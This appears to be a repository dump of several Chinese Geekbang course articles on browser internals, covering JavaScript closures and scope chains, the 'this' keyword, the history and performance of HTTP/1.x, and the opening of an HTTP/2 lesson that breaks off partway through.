现在是执行到bar函数的if语块之内需要打印出来变量test那么就需要查找到test变量的值其查找过程我已经在上图中使用序号1、2、3、4、5标记出来了。
下面我就来解释下这个过程。首先是在bar函数的执行上下文中查找但因为bar函数的执行上下文中没有定义test变量所以根据词法作用域的规则下一步就在bar函数的外部作用域中查找也就是全局作用域。
至于单个执行上下文中如何查找变量,我在[上一篇文章](https://time.geekbang.org/column/article/126339)中已经做了介绍,这里就不重复了。
## 闭包
了解了作用域链接着我们就可以来聊聊闭包了。关于闭包理解起来可能会是一道坎特别是在你不太熟悉JavaScript这门语言的时候接触闭包很可能会让你产生一些挫败感因为你很难通过理解背后的原理来彻底理解闭包从而导致学习过程中似乎总是似懂非懂。最要命的是JavaScript代码中还总是充斥着大量的闭包代码。
但理解了变量环境、词法环境和作用域链等概念那接下来你再理解什么是JavaScript中的闭包就容易多了。这里你可以结合下面这段代码来理解什么是闭包
```
function foo() {
var myName = &quot;极客时间&quot;
let test1 = 1
const test2 = 2
var innerBar = {
getName:function(){
console.log(test1)
return myName
},
setName:function(newName){
myName = newName
}
}
return innerBar
}
var bar = foo()
bar.setName(&quot;极客邦&quot;)
bar.getName()
console.log(bar.getName())
```
首先我们看看当执行到foo函数内部的`return innerBar`这行代码时调用栈的情况,你可以参考下图:
<img src="https://static001.geekbang.org/resource/image/d5/ef/d5587b76427a56c5f0b0571e4264b7ef.png" alt="">
从上面的代码可以看出innerBar是一个对象包含了getName和setName的两个方法通常我们把对象内部的函数称为方法。你可以看到这两个方法都是在foo函数内部定义的并且这两个方法内部都使用了myName和test1两个变量。
**根据词法作用域的规则内部函数getName和setName总是可以访问它们的外部函数foo中的变量**所以当innerBar对象返回给全局变量bar时虽然foo函数已经执行结束但是getName和setName函数依然可以使用foo函数中的变量myName和test1。所以当foo函数执行完成之后其整个调用栈的状态如下图所示
<img src="https://static001.geekbang.org/resource/image/ee/3f/ee7c1ca481875ad4bdeb4383bd1f883f.png" alt="">
从上图可以看出foo函数执行完成之后其执行上下文从栈顶弹出了但是由于返回的setName和getName方法中使用了foo函数内部的变量myName和test1所以这两个变量依然保存在内存中。这像极了setName和getName方法背的一个专属背包无论在哪里调用了setName和getName方法它们都会背着这个foo函数的专属背包。
之所以是**专属**背包是因为除了setName和getName函数之外其他任何地方都是无法访问该背包的我们就可以把这个背包称为foo函数的**闭包**。
好了,现在我们终于可以给闭包一个正式的定义了。**在JavaScript中根据词法作用域的规则内部函数总是可以访问其外部函数中声明的变量当通过调用一个外部函数返回一个内部函数后即使该外部函数已经执行结束了但是内部函数引用外部函数的变量依然保存在内存中我们就把这些变量的集合称为闭包。比如外部函数是foo那么这些变量的集合就称为foo函数的闭包**。
那这些闭包是如何使用的呢当执行到bar.setName方法中的`myName = "极客邦"`这句代码时JavaScript引擎会沿着“当前执行上下文&gt;foo函数闭包&gt;全局执行上下文”的顺序来查找myName变量你可以参考下面的调用栈状态图
<img src="https://static001.geekbang.org/resource/image/50/46/50e4ba60fc7e420e83b35b95e379b246.png" alt="">
从图中可以看出setName的执行上下文中没有myName变量foo函数的闭包中包含了变量myName所以调用setName时会修改foo闭包中的myName变量的值。
同样的流程当调用bar.getName的时候所访问的变量myName也是位于foo函数闭包中的。
你也可以通过“开发者工具”来看看闭包的情况打开Chrome的“开发者工具”在bar函数任意地方打上断点然后刷新页面可以看到如下内容
<img src="https://static001.geekbang.org/resource/image/40/a8/40b8840480a5df4f43ad5f4e7907e3a8.png" alt="">
从图中可以看出来当调用bar.getName的时候右边Scope项就体现出了作用域链的情况Local就是当前的getName函数的作用域Closure(foo)是指foo函数的闭包最下面的Global就是指全局作用域从“Local&gt;Closure(foo)&gt;Global”就是一个完整的作用域链。
所以说你以后也可以通过Scope来查看实际代码作用域链的情况这样调试代码也会比较方便。
## 闭包是怎么回收的
理解什么是闭包之后,接下来我们再来简单聊聊闭包是什么时候销毁的。因为如果闭包使用不正确,会很容易造成内存泄漏的,关注闭包是如何回收的能让你正确地使用闭包。
通常,如果引用闭包的函数是一个全局变量,那么闭包会一直存在直到页面关闭;但如果这个闭包以后不再使用的话,就会造成内存泄漏。
如果引用闭包的函数是个局部变量等函数销毁后在下次JavaScript引擎执行垃圾回收时判断闭包这块内容如果已经不再被使用了那么JavaScript引擎的垃圾回收器就会回收这块内存。
所以在使用闭包的时候,你要尽量注意一个原则:**如果该闭包会一直使用,那么它可以作为全局变量而存在;但如果使用频率不高,而且占用内存又比较大的话,那就尽量让它成为一个局部变量**。
关于闭包回收的问题本文只是做了个简单的介绍其实闭包是如何回收的还牵涉到了JavaScript的垃圾回收机制而关于垃圾回收后续章节我会再为你做详细介绍的。
## 总结
好了,今天的内容就讲到这里,下面我们来回顾下今天的内容:
- 首先,介绍了什么是作用域链,我们把通过作用域查找变量的链条称为作用域链;作用域链是通过词法作用域来确定的,而词法作用域反映了代码的结构。
- 其次,介绍了在块级作用域中是如何通过作用域链来查找变量的。
- 最后,又基于作用域链和词法环境介绍了到底什么是闭包。
通过展开词法作用域我们介绍了JavaScript中的作用域链和闭包通过词法作用域我们分析了在JavaScript的执行过程中作用域链是已经注定好了比如即使在foo函数中调用了bar函数你也无法在bar函数中直接使用foo函数中的变量信息。
因此理解词法作用域对于你理解JavaScript语言本身有着非常大帮助比如有助于你理解下一篇文章中要介绍的this。另外理解词法作用域对于你理解其他语言也有很大的帮助因为它们的逻辑都是一样的。
## 思考时间
今天留给你的思考题是关于词法作用域和闭包,我修改了上面那段产生闭包的代码,如下所示:
```
var bar = {
myName:&quot;time.geekbang.com&quot;,
printName: function () {
console.log(myName)
}
}
function foo() {
let myName = &quot;极客时间&quot;
return bar.printName
}
let myName = &quot;极客邦&quot;
let _printName = foo()
_printName()
bar.printName()
```
在上面这段代码中有三个地方定义了myName分析这段代码你觉得这段代码在执行过程中会产生闭包吗最终打印的结果是什么
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,321 @@
<audio id="audio" title="11 | this从JavaScript执行上下文的视角讲清楚this" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/fd/8e/fdeecc9c032154797493f95166d7a58e.mp3"></audio>
在[上篇文章](https://time.geekbang.org/column/article/127495)中,我们讲了词法作用域、作用域链以及闭包,并在最后思考题中留了下面这样一段代码:
```
var bar = {
myName:&quot;time.geekbang.com&quot;,
printName: function () {
console.log(myName)
}
}
function foo() {
let myName = &quot;极客时间&quot;
return bar.printName
}
let myName = &quot;极客邦&quot;
let _printName = foo()
_printName()
bar.printName()
```
相信你已经知道了在printName函数里面使用的变量myName是属于全局作用域下面的所以最终打印出来的值都是“极客邦”。这是因为JavaScript语言的作用域链是由词法作用域决定的而词法作用域是由代码结构来确定的。
不过按照常理来说,调用`bar.printName`方法时该方法内部的变量myName应该使用bar对象中的因为它们是一个整体大多数面向对象语言都是这样设计的比如我用C++改写了上面那段代码,如下所示:
```
#include &lt;iostream&gt;
using namespace std;
class Bar{
public:
char* myName;
Bar(){
myName = &quot;time.geekbang.com&quot;;
}
void printName(){
cout&lt;&lt; myName &lt;&lt;endl;
}
} bar;
char* myName = &quot;极客邦&quot;;
int main() {
bar.printName();
return 0;
}
```
在这段C++代码中我同样调用了bar对象中的printName方法最后打印出来的值就是bar对象的内部变量myName值——“time.geekbang.com”而并不是最外面定义变量myName的值——“极客邦”所以**在对象内部的方法中使用对象内部的属性是一个非常普遍的需求**。但是JavaScript的作用域机制并不支持这一点基于这个需求JavaScript又搞出来另外一套**this机制**。
所以在JavaScript中可以使用this实现在printName函数中访问到bar对象的myName属性了。具体该怎么操作呢你可以调整printName的代码如下所示
```
printName: function () {
console.log(this.myName)
}
```
接下来咱们就展开来介绍this不过在讲解之前希望你能区分清楚**作用域链**和**this**是两套不同的系统它们之间基本没太多联系。在前期明确这点可以避免你在学习this的过程中和作用域产生一些不必要的关联。
## JavaScript中的this是什么
关于this我们还是得先从执行上下文说起。在前面几篇文章中我们提到执行上下文中包含了变量环境、词法环境、外部环境但其实还有一个this没有提及具体你可以参考下图
<img src="https://static001.geekbang.org/resource/image/b3/8d/b398610fd8060b381d33afc9b86f988d.png" alt="">
从图中可以看出,**this是和执行上下文绑定的**也就是说每个执行上下文中都有一个this。前面[《08 | 调用栈为什么JavaScript代码会出现栈溢出](https://time.geekbang.org/column/article/120257)中我们提到过执行上下文主要分为三种——全局执行上下文、函数执行上下文和eval执行上下文所以对应的this也只有这三种——全局执行上下文中的this、函数中的this和eval中的this。
不过由于eval我们使用的不多所以本文我们对此就不做介绍了如果你感兴趣的话可以自行搜索和学习相关知识。
那么接下来我们就重点讲解下**全局执行上下文中的this**和**函数执行上下文中的this**。
## 全局执行上下文中的this
首先我们来看看全局执行上下文中的this是什么。
你可以在控制台中输入`console.log(this)`来打印出来全局执行上下文中的this最终输出的是window对象。所以你可以得出这样一个结论全局执行上下文中的this是指向window对象的。这也是this和作用域链的唯一交点作用域链的最底端包含了window对象全局执行上下文中的this也是指向window对象。
## 函数执行上下文中的this
现在你已经知道全局对象中的this是指向window对象了那么接下来我们就来重点分析函数执行上下文中的this。还是先看下面这段代码
```
function foo(){
console.log(this)
}
foo()
```
我们在foo函数内部打印出来this值执行这段代码打印出来的也是window对象这说明在默认情况下调用一个函数其执行上下文中的this也是指向window对象的。估计你会好奇那能不能设置执行上下文中的this来指向其他对象呢答案是肯定的。通常情况下有下面三种方式来设置函数执行上下文中的this值。
### 1. 通过函数的call方法设置
你可以通过函数的**call**方法来设置函数执行上下文的this指向比如下面这段代码我们就并没有直接调用foo函数而是调用了foo的call方法并将bar对象作为call方法的参数。
```
let bar = {
myName : &quot;极客邦&quot;,
test1 : 1
}
function foo(){
this.myName = &quot;极客时间&quot;
}
foo.call(bar)
console.log(bar)
console.log(myName)
```
执行这段代码然后观察输出结果你就能发现foo函数内部的this已经指向了bar对象因为通过打印bar对象可以看出bar的myName属性已经由“极客邦”变为“极客时间”了同时在全局执行上下文中打印myNameJavaScript引擎提示该变量未定义。
其实除了call方法你还可以使用**bind**和**apply**方法来设置函数执行上下文中的this它们在使用上还是有一些区别的如果感兴趣你可以自行搜索和学习它们的使用方法这里我就不再赘述了。
### 2. 通过对象调用方法设置
要改变函数执行上下文中的this指向除了通过函数的call方法来实现外还可以通过对象调用的方式比如下面这段代码
```
var myObj = {
name : &quot;极客时间&quot;,
showThis: function(){
console.log(this)
}
}
myObj.showThis()
```
在这段代码中我们定义了一个myObj对象该对象是由一个name属性和一个showThis方法组成的然后再通过myObj对象来调用showThis方法。执行这段代码你可以看到最终输出的this值是指向myObj的。
所以,你可以得出这样的结论:**使用对象来调用其内部的一个方法该方法的this是指向对象本身的**。
其实你也可以认为JavaScript引擎在执行`myObject.showThis()`时,将其转化为了:
```
myObj.showThis.call(myObj)
```
接下来我们稍微改变下调用方式把showThis赋给一个全局对象然后再调用该对象代码如下所示
```
var myObj = {
name : &quot;极客时间&quot;,
showThis: function(){
this.name = &quot;极客邦&quot;
console.log(this)
}
}
var foo = myObj.showThis
foo()
```
执行这段代码你会发现this又指向了全局window对象。
所以通过以上两个例子的对比,你可以得出下面这样两个结论:
- **在全局环境中调用一个函数函数内部的this指向的是全局变量window。**
- **通过一个对象来调用其内部的一个方法该方法的执行上下文中的this指向对象本身。**
### 3. 通过构造函数中设置
你可以像这样设置构造函数中的this如下面的示例代码
```
function CreateObj(){
this.name = &quot;极客时间&quot;
}
var myObj = new CreateObj()
```
在这段代码中我们使用new创建了对象myObj那你知道此时的构造函数CreateObj中的this到底指向了谁吗
其实当执行new CreateObj()的时候JavaScript引擎做了如下四件事
- 首先创建了一个空对象tempObj
- 接着调用CreateObj.call方法并将tempObj作为call方法的参数这样当CreateObj的执行上下文创建时它的this就指向了tempObj对象
- 然后执行CreateObj函数此时的CreateObj函数执行上下文中的this指向了tempObj对象
- 最后返回tempObj对象。
为了直观理解,我们可以用代码来演示下:
```
var tempObj = {}
CreateObj.call(tempObj)
return tempObj
```
这样我们就通过new关键字构建好了一个新对象并且构造函数中的this其实就是新对象本身。
关于new的具体细节你可以参考[这篇文章](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/new),这里我就不做过多介绍了。
## this的设计缺陷以及应对方案
就我个人而言this并不是一个很好的设计因为它的很多使用方法都冲击人的直觉在使用过程中存在着非常多的坑。下面咱们就来一起看看那些this设计缺陷。
### 1. 嵌套函数中的this不会从外层函数中继承
我认为这是一个严重的设计错误,并影响了后来的很多开发者,让他们“前赴后继”迷失在该错误中。我们还是结合下面这样一段代码来分析下:
```
var myObj = {
name : &quot;极客时间&quot;,
showThis: function(){
console.log(this)
function bar(){console.log(this)}
bar()
}
}
myObj.showThis()
```
我们在这段代码的showThis方法里面添加了一个bar方法然后接着在showThis函数中调用了bar函数那么现在的问题是bar函数中的this是什么
如果你是刚接触JavaScript那么你可能会很自然地觉得bar中的this应该和其外层showThis函数中的this是一致的都是指向myObj对象的这很符合人的直觉。但实际情况却并非如此执行这段代码后你会发现**函数bar中的this指向的是全局window对象而函数showThis中的this指向的是myObj对象**。这就是JavaScript中非常容易让人迷惑的地方之一也是很多问题的源头。
**你可以通过一个小技巧来解决这个问题**比如在showThis函数中**声明一个变量self用来保存this**然后在bar函数中使用self代码如下所示
```
var myObj = {
name : &quot;极客时间&quot;,
showThis: function(){
console.log(this)
var self = this
function bar(){
self.name = &quot;极客邦&quot;
}
bar()
}
}
myObj.showThis()
console.log(myObj.name)
console.log(window.name)
```
执行这段代码你可以看到它输出了我们想要的结果最终myObj中的name属性值变成了“极客邦”。其实这个方法的的本质是**把this体系转换为了作用域的体系**。
其实,**你也可以使用ES6中的箭头函数来解决这个问题**,结合下面代码:
```
var myObj = {
name : &quot;极客时间&quot;,
showThis: function(){
console.log(this)
var bar = ()=&gt;{
this.name = &quot;极客邦&quot;
console.log(this)
}
bar()
}
}
myObj.showThis()
console.log(myObj.name)
console.log(window.name)
```
执行这段代码你会发现它也输出了我们想要的结果也就是箭头函数bar里面的this是指向myObj对象的。这是因为ES6中的箭头函数并不会创建其自身的执行上下文所以箭头函数中的this取决于它的外部函数。
通过上面的讲解你现在应该知道了this没有作用域的限制这点和变量不一样所以嵌套函数不会从调用它的函数中继承this这样会造成很多不符合直觉的代码。要解决这个问题你可以有两种思路
- 第一种是把this保存为一个self变量再利用变量的作用域机制传递给嵌套函数。
- 第二种是继续使用this但是要把嵌套函数改为箭头函数因为箭头函数没有自己的执行上下文所以它会继承调用函数中的this。
### 2. 普通函数中的this默认指向全局对象window
上面我们已经介绍过了在默认情况下调用一个函数其执行上下文中的this是默认指向全局对象window的。
不过这个设计也是一种缺陷因为在实际工作中我们并不希望函数执行上下文中的this默认指向全局对象因为这样会打破数据的边界造成一些误操作。如果要让函数执行上下文中的this指向某个对象最好的方式是通过call方法来显示调用。
这个问题可以通过设置JavaScript的“严格模式”来解决。在严格模式下默认执行一个函数其函数的执行上下文中的this值是undefined这就解决上面的问题了。
## 总结
好了,今天就到这里,下面我们来回顾下今天的内容。
首先在使用this时为了避坑你要谨记以下三点
1. 当函数作为对象的方法调用时函数中的this就是该对象
1. 当函数被正常调用时在严格模式下this值是undefined非严格模式下this指向的是全局对象window
1. 嵌套函数中的this不会继承外层函数的this值。
最后我们还提了一下箭头函数因为箭头函数没有自己的执行上下文所以箭头函数的this就是它外层函数的this。
这是我们“JavaScript执行机制”模块的最后一节了五节下来你应该已经发现我们将近一半的时间都是在谈JavaScript的各种缺陷比如变量提升带来的问题、this带来问题等。我认为了解一门语言的缺陷并不是为了否定它相反是为了能更加深入地了解它。我们在谈论缺陷的过程中还结合JavaScript的工作流程分析了出现这些缺陷的原因以及避开这些缺陷的方法。掌握了这些相信你今后在使用JavaScript的过程中会更加得心应手。
## 思考时间
你可以观察下面这段代码:
```
let userInfo = {
name:&quot;jack.ma&quot;,
age:13,
sex:male,
updateInfo:function(){
//模拟xmlhttprequest请求延时
setTimeout(function(){
this.name = &quot;pony.ma&quot;
this.age = 39
this.sex = female
},100)
}
}
userInfo.updateInfo()
```
我想通过updateInfo来更新userInfo里面的数据信息但是这段代码存在一些问题你能修复这段代码吗
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,145 @@
<audio id="audio" title="29 | HTTP/1HTTP性能优化" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/ef/b3/efdaa9212322ab15de720ead8ce1d2b3.mp3"></audio>
谈及浏览器中的网络就避不开HTTP。我们知道HTTP是浏览器中**最重要**且**使用最多**的协议,是**浏览器和服务器之间的通信语言**也是互联网的基石。而随着浏览器的发展HTTP为了能适应新的形式也在持续进化我认为学习HTTP的最佳途径就是了解其发展史所以在接下来的三篇文章中我会从浏览器发展的视角来和你聊聊HTTP演进。这三篇分别是**即将完成使命的HTTP/1、正在向我们走来的HTTP/2以及未来的HTTP/3**。
本文主要介绍的是HTTP/1.1我们先讲解HTTP/1.1的进化史,然后再介绍在进化过程中所遇到的各种瓶颈,以及对应的解决方法。
## 超文本传输协议HTTP/0.9
首先我们来看看诞生最早的HTTP/0.9。HTTP/0.9是于1991年提出的主要用于学术交流需求很简单——用来在网络之间传递HTML超文本的内容所以被称为**超文本传输协议**。整体来看,它的实现也很简单,采用了基于请求响应的模式,从客户端发出请求,服务器返回数据。
下面我们就来看看HTTP/0.9的一个完整的请求流程(可参考下图)。
- 因为HTTP都是基于TCP协议的所以客户端先要根据IP地址、端口和服务器建立TCP连接而建立连接的过程就是TCP协议三次握手的过程。
- 建立好连接之后会发送一个GET请求行的信息`GET /index.html`用来获取index.html。
- 服务器接收请求信息之后读取对应的HTML文件并将数据以ASCII字符流返回给客户端。
- HTML文档传输完成后断开连接。
<img src="https://static001.geekbang.org/resource/image/db/34/db1166c68c22a45c9858e88a234f1a34.png" alt="">
总的来说当时的需求很简单就是用来传输体积很小的HTML文件所以HTTP/0.9的实现有以下三个特点。
- 第一个是只有一个请求行,并没有**HTTP请求头和请求体**,因为只需要一个请求行就可以完整表达客户端的需求了。
- 第二个是服务器也没有返回头信息,这是因为服务器端并不需要告诉客户端太多信息,只需要返回数据就可以了。
- 第三个是返回的文件内容是以ASCII字符流来传输的因为都是HTML格式的文件所以使用ASCII字节码来传输是最合适的。
## 被浏览器推动的HTTP/1.0
HTTP/0.9虽然简单但是已经可以满足当时的需求了。不过变化是这个世界永恒不变的主旋律1994年底出现了拨号上网服务同年网景又推出一款浏览器从此万维网就不局限于学术交流了而是进入了高速的发展阶段。随之而来的是万维网联盟W3C和HTTP工作组HTTP-WG的创建它们致力于HTML的发展和HTTP的改进。
万维网的高速发展带来了很多新的需求而HTTP/0.9已经不能适用新兴网络的发展所以这时就需要一个新的协议来支撑新兴网络这就是HTTP/1.0诞生的原因。不过在详细分析HTTP/1.0之前,我们先来分析下新兴网络都带来了哪些新需求。
首先在浏览器中展示的不单是HTML文件了还包括了JavaScript、CSS、图片、音频、视频等不同类型的文件。因此**支持多种类型的文件下载是HTTP/1.0的一个核心诉求**而且文件格式不仅仅局限于ASCII编码还有很多其他类型编码的文件。
**那么该如何实现多种类型文件的下载呢?**
文章开头我们说过HTTP是浏览器和服务器之间的通信语言不过HTTP/0.9在建立好连接之后,只会发送类似`GET /index.html`的简单请求命令,并没有其他途径告诉服务器更多的信息,如文件编码、文件类型等。同样,服务器是直接返回数据给浏览器的,也没有其他途径告诉浏览器更多的关于服务器返回的文件信息。
这种简单的交流型形式无疑不能满足传输多种类型文件的需求那为了让客户端和服务器能更深入地交流HTTP/1.0引入了请求头和响应头它们都是以为Key-Value形式保存的在HTTP发送请求时会带上请求头信息服务器返回数据时会先返回响应头信息。至于HTTP/1.0具体的请求流程,你可以参考下图。
<img src="https://static001.geekbang.org/resource/image/b5/7d/b52b0d1a26ff2b8607c08e5c50ae687d.png" alt="">
有了请求头和响应头,浏览器和服务器就能进行更加深入的交流了。
**那HTTP/1.0是怎么通过请求头和响应头来支持多种不同类型的数据呢?**
要支持多种类型的文件,我们就需要解决以下几个问题。
- 首先,浏览器需要知道服务器返回的数据是什么类型的,然后浏览器才能根据不同的数据类型做针对性的处理。
- 其次,由于万维网所支持的应用变得越来越广,所以单个文件的数据量也变得越来越大。为了减轻传输性能,服务器会对数据进行压缩后再传输,所以浏览器需要知道服务器压缩的方法。
- 再次,由于万维网是支持全球范围的,所以需要提供国际化的支持,服务器需要对不同的地区提供不同的语言版本,这就需要浏览器告诉服务器它想要什么语言版本的页面。
- 最后,由于增加了各种不同类型的文件,而每种文件的编码形式又可能不一样,为了能够准确地读取文件,浏览器需要知道文件的编码类型。
基于以上问题HTTP/1.0的方案是通过请求头和响应头来进行协商在发起请求时候会通过HTTP请求头告诉服务器它期待服务器返回什么类型的文件、采取什么形式的压缩、提供什么语言的文件以及文件的具体编码。最终发送出来的请求头内容如下
```
accept: text/html
accept-encoding: gzip, deflate, br
accept-Charset: ISO-8859-1,utf-8
accept-language: zh-CN,zh
```
其中第一行表示期望服务器返回html类型的文件第二行表示期望服务器可以采用gzip、deflate或者br其中的一种压缩方式第三行表示期望返回的文件编码是UTF-8或者ISO-8859-1第四行是表示期望页面的优先语言是中文。
服务器接收到浏览器发送过来的请求头信息之后会根据请求头的信息来准备响应数据。不过有时候会有一些意外情况发生比如浏览器请求的压缩类型是gzip但是服务器不支持gzip只支持br压缩那么它会通过响应头中的content-encoding字段告诉浏览器最终的压缩类型也就是说最终浏览器需要根据响应头的信息来处理数据。下面是一段响应头的数据信息
```
content-encoding: br
content-type: text/html; charset=UTF-8
```
其中第一行表示服务器采用了br的压缩方法第二行表示服务器返回的是html文件并且该文件的编码类型是UTF-8。
有了响应头的信息浏览器就会使用br方法来解压文件再按照UTF-8的编码格式来处理原始文件最后按照HTML的方式来解析该文件。这就是HTTP/1.0支持多文件的一个基本的处理流程。
HTTP/1.0除了对多文件提供良好的支持外,还依据当时实际的需求引入了很多其他的特性,这些特性都是通过请求头和响应头来实现的。下面我们来看看新增的几个典型的特性:
- 有的请求服务器可能无法处理,或者处理出错,这时候就需要告诉浏览器服务器最终处理该请求的情况,这就引入了**状态码**。状态码是通过响应行的方式来通知浏览器的。
- 为了减轻服务器的压力在HTTP/1.0中提供了**Cache机制**,用来缓存已经下载过的数据。
- 服务器需要统计客户端的基础信息比如Windows和macOS的用户数量分别是多少所以HTTP/1.0的请求头中还加入了**用户代理**的字段。
## 缝缝补补的HTTP/1.1
不过随着技术的继续发展需求也在不断迭代更新很快HTTP/1.0也不能满足需求了所以HTTP/1.1又在HTTP/1.0的基础之上做了大量的更新。接下来我们来看看HTTP/1.0遇到了哪些主要的问题以及HTTP/1.1又是如何改进的。
### 1. 改进持久连接
HTTP/1.0每进行一次HTTP通信都需要经历建立TCP连接、传输HTTP数据和断开TCP连接三个阶段如下图
<img src="https://static001.geekbang.org/resource/image/cc/7d/cccc9faf6d0addea8e1bf307cd7d8d7d.png" alt="">
在当时由于通信的文件比较小而且每个页面的引用也不多所以这种传输形式没什么大问题。但是随着浏览器普及单个页面中的图片文件越来越多有时候一个页面可能包含了几百个外部引用的资源文件如果在下载每个文件的时候都需要经历建立TCP连接、传输数据和断开连接这样的步骤无疑会增加大量无谓的开销。
为了解决这个问题,**HTTP/1.1中增加了持久连接的方法它的特点是在一个TCP连接上可以传输多个HTTP请求只要浏览器或者服务器没有明确断开连接那么该TCP连接会一直保持**。
<img src="https://static001.geekbang.org/resource/image/80/1a/80b57830e15faa17631bea74054a0e1a.png" alt="">
从上图可以看出HTTP的持久连接可以有效减少TCP建立连接和断开连接的次数这样的好处是减少了服务器额外的负担并提升整体HTTP的请求时长。
持久连接在HTTP/1.1中是默认开启的所以你不需要专门为了持久连接去HTTP请求头设置信息如果你不想要采用持久连接可以在HTTP请求头中加上`Connection: close`。目前浏览器中对于同一个域名默认允许同时建立6个TCP持久连接。
### 2. 不成熟的HTTP管线化
持久连接虽然能减少TCP的建立和断开次数但是它需要等待前面的请求返回之后才能进行下一次请求。如果TCP通道中的某个请求因为某些原因没有及时返回那么就会阻塞后面的所有请求这就是著名的**队头阻塞**的问题。
HTTP/1.1中试图通过管线化的技术来解决**队头阻塞**的问题。HTTP/1.1中的管线化是指将多个HTTP请求整批提交给服务器的技术虽然可以整批发送请求不过服务器依然需要根据请求顺序来回复浏览器的请求。
FireFox、Chrome都做过管线化的试验但是由于各种原因它们最终都放弃了管线化技术。
### 3. 提供虚拟主机的支持
在HTTP/1.0中每个域名绑定了一个唯一的IP地址因此一个服务器只能支持一个域名。但是随着虚拟主机技术的发展需要实现在一台物理主机上绑定多个虚拟主机每个虚拟主机都有自己的单独的域名这些单独的域名都公用同一个IP地址。
因此HTTP/1.1的请求头中增加了**Host字段**用来表示当前的域名地址这样服务器就可以根据不同的Host值做不同的处理。
### 4. 对动态生成的内容提供了完美支持
在设计HTTP/1.0时,需要在响应头中设置完整的数据大小,如`Content-Length: 901`,这样浏览器就可以根据设置的数据大小来接收数据。不过随着服务器端的技术发展,很多页面的内容都是动态生成的,因此在传输数据之前并不知道最终的数据大小,这就导致了浏览器不知道何时会接收完所有的文件数据。
HTTP/1.1通过引入**Chunk transfer机制**来解决这个问题,服务器会将数据分割成若干个任意大小的数据块,每个数据块发送时会附上上个数据块的长度,最后使用一个零长度的块作为发送数据完成的标志。这样就提供了对动态内容的支持。
### 5. 客户端Cookie、安全机制
除此之外HTTP/1.1还引入了客户端Cookie机制和安全机制。其中Cookie机制我们在[《03 | HTTP请求流程为什么很多站点第二次打开速度会很快](https://time.geekbang.org/column/article/116588)这篇文章中介绍过了,而安全机制我们会在后面的安全模块中再做介绍,这里就不赘述了。
## 总结
好了,今天就介绍到这里,下面我来总结下本文的主要内容。
本文我们重点强调了HTTP是浏览器和服务器的通信语言然后我们从需求演变的角度追溯了HTTP的发展史在诞生之初的HTTP/0.9因为需求简单,所以和服务器之间的通信过程也相对简单。
由于万维网的快速崛起,带来了大量新的需求,其中最核心的一个就是需要支持多种类型的文件下载, 为此HTTP/1.0中引入了请求头和响应头。在支持多种类型文件下载的基础之上HTTP/1.0还提供了Cache机制、用户代理、状态码等一些基础信息。
但随着技术和需求的发展人们对文件传输的速度要求越来越高故又基于HTTP/1.0推出了HTTP/1.1增加了持久连接方法来提升连接效率同时还尝试使用管线化技术提升效率不过由于各种原因管线化技术最终被各大厂商放弃了。除此之外HTTP/1.1还引入了Cookie、虚拟主机的支持、对动态内容的支持等特性。
虽然HTTP/1.1在HTTP/1.0的基础之上做了大量的优化但是由于一些效率问题始终很难解决所以最终还是被HTTP/2所取代这就是我们下一篇文章要介绍的内容了。
## 思考时间
今天留给你的思考题你认为HTTP/1.1还有哪些不足?
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,128 @@
<audio id="audio" title="30HTTP/2如何提升网络速度" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/06/48/0608b6dacff0e0ce7498a88f0e4e0a48.mp3"></audio>
[上一篇文章](https://time.geekbang.org/column/article/147501)我们聊了HTTP/1.1的发展史虽然HTTP/1.1已经做了大量的优化但是依然存在很多性能瓶颈依然不能满足我们日益变化的新需求所以就有了我们今天要聊的HTTP/2。
本文我们依然从需求的层面来谈先分析HTTP/1.1存在哪些问题然后再来分析HTTP/2是如何解决这些问题的。
我们知道HTTP/1.1为网络效率做了大量的优化,最核心的有如下三种方式:
1. 增加了持久连接;
1. 浏览器为每个域名最多同时维护6个TCP持久连接
1. 使用CDN的实现域名分片机制。
通过这些方式就大大提高了页面的下载速度,你可以通过下图来直观感受下:
<img src="https://static001.geekbang.org/resource/image/91/c5/91c3e0a8f13ebc4d81f08d8604f770c5.png" alt="">
在该图中引入了CDN并同时为每个域名维护6个连接这样就大大减轻了整个资源的下载时间。这里我们可以简单计算下如果使用单个TCP的持久连接下载100个资源所花费的时间为100 * n * RTT若通过上面的技术就可以把整个时间缩短为100 * n * RTT/(6 * CDN个数)。从这个计算结果来看,我们的页面加载速度变快了不少。
## HTTP/1.1的主要问题
虽然HTTP/1.1采取了很多优化资源加载速度的策略也取得了一定的效果但是HTTP/1.1**对带宽的利用率却并不理想**这也是HTTP/1.1的一个核心问题。
**带宽是指每秒最大能发送或者接收的字节数**。我们把每秒能发送的最大字节数称为**上行带宽**,每秒能够接收的最大字节数称为**下行带宽**。
之所以说HTTP/1.1对带宽的利用率不理想是因为HTTP/1.1很难将带宽用满。比如我们常说的100M带宽实际的下载速度能达到12.5M/S而采用HTTP/1.1时也许在加载页面资源时最大只能使用到2.5M/S很难将12.5M全部用满。
之所以会出现这个问题,主要是由以下三个原因导致的。
**第一个原因TCP的慢启动。**
一旦一个TCP连接建立之后就进入了发送数据状态刚开始TCP协议会采用一个非常慢的速度去发送数据然后慢慢加快发送数据的速度直到发送数据的速度达到一个理想状态我们把这个过程称为慢启动。
你可以把每个TCP发送数据的过程看成是一辆车的启动过程当刚进入公路时会有从0到一个稳定速度的提速过程TCP的慢启动就类似于该过程。
慢启动是TCP为了减少网络拥塞的一种策略我们是没有办法改变的。
而之所以说慢启动会带来性能问题是因为页面中常用的一些关键资源文件本来就不大如HTML文件、CSS文件和JavaScript文件通常这些文件在TCP连接建立好之后就要发起请求的但这个过程是慢启动所以耗费的时间比正常的时间要多很多这样就推迟了宝贵的首次渲染页面的时长了。
**第二个原因同时开启了多条TCP连接那么这些连接会竞争固定的带宽。**
